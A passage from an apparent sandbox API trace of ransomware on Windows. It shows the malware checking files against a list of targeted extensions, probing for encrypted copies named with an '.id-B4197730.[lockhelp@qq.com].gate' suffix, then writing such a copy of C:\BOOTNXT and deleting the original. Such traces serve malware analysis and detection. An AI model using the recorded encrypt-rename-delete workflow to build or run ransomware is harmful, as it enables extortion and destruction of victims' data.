"c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.762] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.762] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.763] lstrlenW (lpString=".doc") returned 4 [0121.763] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.763] lstrlenW (lpString=".docx") returned 5 [0121.763] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.763] lstrlenW (lpString=".pdf") returned 4 [0121.763] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.763] lstrlenW (lpString=".xls") returned 4 [0121.763] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.763] lstrlenW (lpString=".xlsx") returned 5 [0121.763] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.763] lstrlenW (lpString=".ppt") returned 4 [0121.763] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.771] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.772] lstrlenW (lpString=".zip") returned 4 [0121.773] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.775] lstrlenW (lpString=".rar") returned 4 [0121.775] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.777] lstrlenW (lpString=".bz2") returned 4 [0121.778] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.779] lstrlenW (lpString=".7z") returned 3 [0121.779] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.779] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.780] lstrlenW (lpString=".dbf") returned 4 [0121.780] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.780] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.780] lstrlenW (lpString=".1cd") returned 4 [0121.780] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.780] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.780] lstrlenW (lpString=".jpg") returned 4 [0121.780] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.780] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.780] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.780] lstrlenW (lpString=".doc") returned 4 [0121.780] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.780] lstrlenW (lpString=".docx") returned 5 [0121.780] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.780] lstrlenW (lpString=".pdf") returned 4 [0121.780] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.780] lstrlenW (lpString=".xls") returned 4 [0121.780] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.786] lstrlenW (lpString=".xlsx") returned 5 [0121.786] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.786] lstrlenW (lpString=".ppt") returned 4 [0121.787] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.787] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.787] lstrlenW (lpString=".zip") returned 4 [0121.787] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.787] lstrlenW (lpString=".rar") returned 4 [0121.788] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.788] lstrlenW (lpString=".bz2") returned 4 [0121.788] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.788] lstrlenW (lpString=".7z") returned 3 [0121.788] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.788] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.788] lstrlenW (lpString=".dbf") returned 4 [0121.788] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.788] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.788] lstrlenW (lpString=".1cd") returned 4 [0121.788] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.788] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0121.788] lstrlenW (lpString=".jpg") returned 4 [0121.788] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.788] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.788] lstrlenW (lpString="meiryo_boot.ttf") returned 15 [0121.788] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.908] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=145419) returned 1 [0121.909] CloseHandle (hObject=0x370) returned 1 [0121.909] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0121.909] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.909] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.909] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.909] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.909] lstrlenW (lpString=".doc") returned 4 [0121.909] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.909] lstrlenW (lpString=".docx") returned 5 [0121.909] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.909] lstrlenW (lpString=".pdf") returned 4 [0121.909] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.909] lstrlenW (lpString=".xls") returned 4 [0121.909] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.909] lstrlenW (lpString=".xlsx") returned 5 [0121.909] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.909] lstrlenW (lpString=".ppt") returned 4 [0121.909] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.909] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString=".zip") returned 4 [0121.910] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.910] lstrlenW (lpString=".rar") returned 4 [0121.910] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString=".bz2") returned 4 [0121.910] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString=".7z") returned 3 [0121.910] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.910] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString=".dbf") returned 4 [0121.910] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString=".1cd") returned 4 [0121.910] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString=".jpg") returned 4 [0121.910] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.910] lstrlenW (lpString=".doc") returned 4 [0121.910] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.910] lstrlenW (lpString=".docx") returned 5 [0121.910] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.910] lstrlenW (lpString=".pdf") returned 4 [0121.910] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString=".xls") returned 4 [0121.911] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.911] lstrlenW (lpString=".xlsx") returned 5 [0121.911] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.911] lstrlenW (lpString=".ppt") returned 4 [0121.911] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.911] lstrlenW (lpString=".zip") returned 4 [0121.911] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.911] lstrlenW (lpString=".rar") returned 4 [0121.911] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString=".bz2") returned 4 [0121.911] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString=".7z") returned 3 [0121.911] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.911] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.911] lstrlenW (lpString=".dbf") returned 4 [0121.911] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.911] lstrlenW (lpString=".1cd") returned 4 [0121.911] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.911] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0121.911] lstrlenW (lpString=".jpg") returned 4 [0121.911] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.912] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.912] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0121.912] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.912] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=162331) returned 1 [0121.912] CloseHandle (hObject=0x370) returned 1 [0121.912] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0121.912] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.912] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.912] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.912] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.912] lstrlenW (lpString=".doc") returned 4 [0121.912] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.912] lstrlenW (lpString=".docx") returned 5 [0121.913] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.913] lstrlenW (lpString=".pdf") returned 4 [0121.913] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString=".xls") returned 4 [0121.913] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.913] lstrlenW (lpString=".xlsx") returned 5 [0121.913] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.913] lstrlenW (lpString=".ppt") returned 4 [0121.913] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.913] lstrlenW (lpString=".zip") returned 4 [0121.913] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.913] lstrlenW (lpString=".rar") returned 4 [0121.913] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString=".bz2") returned 4 [0121.913] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString=".7z") returned 3 [0121.913] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.913] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.913] lstrlenW (lpString=".dbf") returned 4 [0121.913] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.913] lstrlenW (lpString=".1cd") returned 4 [0121.913] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.913] lstrlenW (lpString=".jpg") returned 4 [0121.913] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.913] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.914] lstrlenW (lpString=".doc") returned 4 [0121.914] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString=".docx") returned 5 [0121.914] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.914] lstrlenW (lpString=".pdf") returned 4 [0121.914] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString=".xls") returned 4 [0121.914] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.914] lstrlenW (lpString=".xlsx") returned 5 [0121.914] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.914] lstrlenW (lpString=".ppt") returned 4 [0121.914] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.914] lstrlenW (lpString=".zip") returned 4 [0121.914] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.914] lstrlenW (lpString=".rar") returned 4 [0121.914] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString=".bz2") returned 4 [0121.914] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString=".7z") returned 3 [0121.914] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.914] lstrlenW (lpString=".dbf") returned 4 [0121.914] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.914] lstrlenW (lpString=".1cd") returned 4 [0121.914] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0121.915] lstrlenW (lpString=".jpg") returned 4 [0121.915] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.915] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.915] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0121.915] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.916] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=164347) returned 1 [0121.916] CloseHandle (hObject=0x370) returned 1 [0121.916] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0121.916] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.916] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.917] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.917] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.917] lstrlenW (lpString=".doc") returned 4 [0121.917] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString=".docx") returned 5 [0121.917] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.917] lstrlenW (lpString=".pdf") returned 4 [0121.917] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString=".xls") returned 4 [0121.917] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.917] lstrlenW (lpString=".xlsx") returned 5 [0121.917] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.917] lstrlenW (lpString=".ppt") returned 4 [0121.917] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.917] lstrlenW (lpString=".zip") returned 4 [0121.917] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.917] lstrlenW (lpString=".rar") returned 4 [0121.917] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString=".bz2") returned 4 [0121.917] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString=".7z") returned 3 [0121.917] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.917] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.917] lstrlenW (lpString=".dbf") returned 4 [0121.917] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.917] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.917] lstrlenW (lpString=".1cd") returned 4 [0121.918] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.918] lstrlenW (lpString=".jpg") returned 4 [0121.918] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.918] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.918] lstrlenW (lpString=".doc") returned 4 [0121.918] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString=".docx") returned 5 [0121.918] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.918] lstrlenW (lpString=".pdf") returned 4 [0121.918] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString=".xls") returned 4 [0121.918] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.918] lstrlenW (lpString=".xlsx") returned 5 [0121.918] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.918] lstrlenW (lpString=".ppt") returned 4 [0121.918] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.918] lstrlenW (lpString=".zip") returned 4 [0121.918] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.918] lstrlenW (lpString=".rar") returned 4 [0121.918] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString=".bz2") returned 4 [0121.918] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.918] lstrlenW (lpString=".7z") returned 3 [0121.919] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.919] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.919] lstrlenW (lpString=".dbf") returned 4 [0121.919] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.919] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.919] lstrlenW (lpString=".1cd") returned 4 [0121.919] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.919] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0121.919] lstrlenW (lpString=".jpg") returned 4 [0121.919] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.919] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.919] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0121.919] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.920] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=154427) returned 1 [0121.920] CloseHandle (hObject=0x370) returned 1 [0121.920] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0121.920] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.920] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.920] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0121.920] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0121.920] lstrlenW (lpString=".doc") returned 4 [0121.920] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.920] lstrlenW (lpString=".docx") returned 5 [0121.920] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.920] lstrlenW (lpString=".pdf") returned 4 [0121.920] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.921] lstrlenW (lpString=".xls") returned 4 [0121.921] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.921] lstrlenW (lpString=".xlsx") returned 5 [0121.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.921] lstrlenW (lpString=".ppt") returned 4 [0121.921] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.921] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0121.921] lstrlenW (lpString=".zip") returned 4 [0121.921] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.921] lstrlenW (lpString=".rar") returned 4 [0121.921] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.921] lstrlenW (lpString=".bz2") returned 4 [0121.921] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.921] lstrlenW (lpString=".7z") returned 3 [0121.921] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.921] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0121.921] lstrlenW (lpString=".dbf") returned 4 [0121.921] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.931] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0121.931] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.933] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0121.933] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0121.933] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\bootnxt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0121.933] GetLastError () returned 0x0 [0121.933] ReadFile (in: hFile=0x370, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x1, lpOverlapped=0x0) returned 1 [0121.934] WriteFile (in: hFile=0x368, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x10, lpOverlapped=0x0) returned 1 [0121.935] ReadFile (in: hFile=0x370, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0121.935] WriteFile (in: hFile=0x368, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xe2, lpOverlapped=0x0) returned 1 [0121.936] SetEndOfFile (hFile=0x368) returned 1 [0121.936] CloseHandle (hObject=0x368) returned 1 [0121.937] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0121.937] SetEndOfFile (hFile=0x370) returned 1 [0121.938] CloseHandle (hObject=0x370) returned 1 [0121.938] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0121.938] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0121.939] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.939] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.939] lstrlenW (lpString=".doc") returned 4 [0121.939] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString=".docx") returned 5 [0121.939] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0121.939] lstrlenW (lpString=".pdf") returned 4 [0121.939] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString=".xls") returned 4 [0121.939] 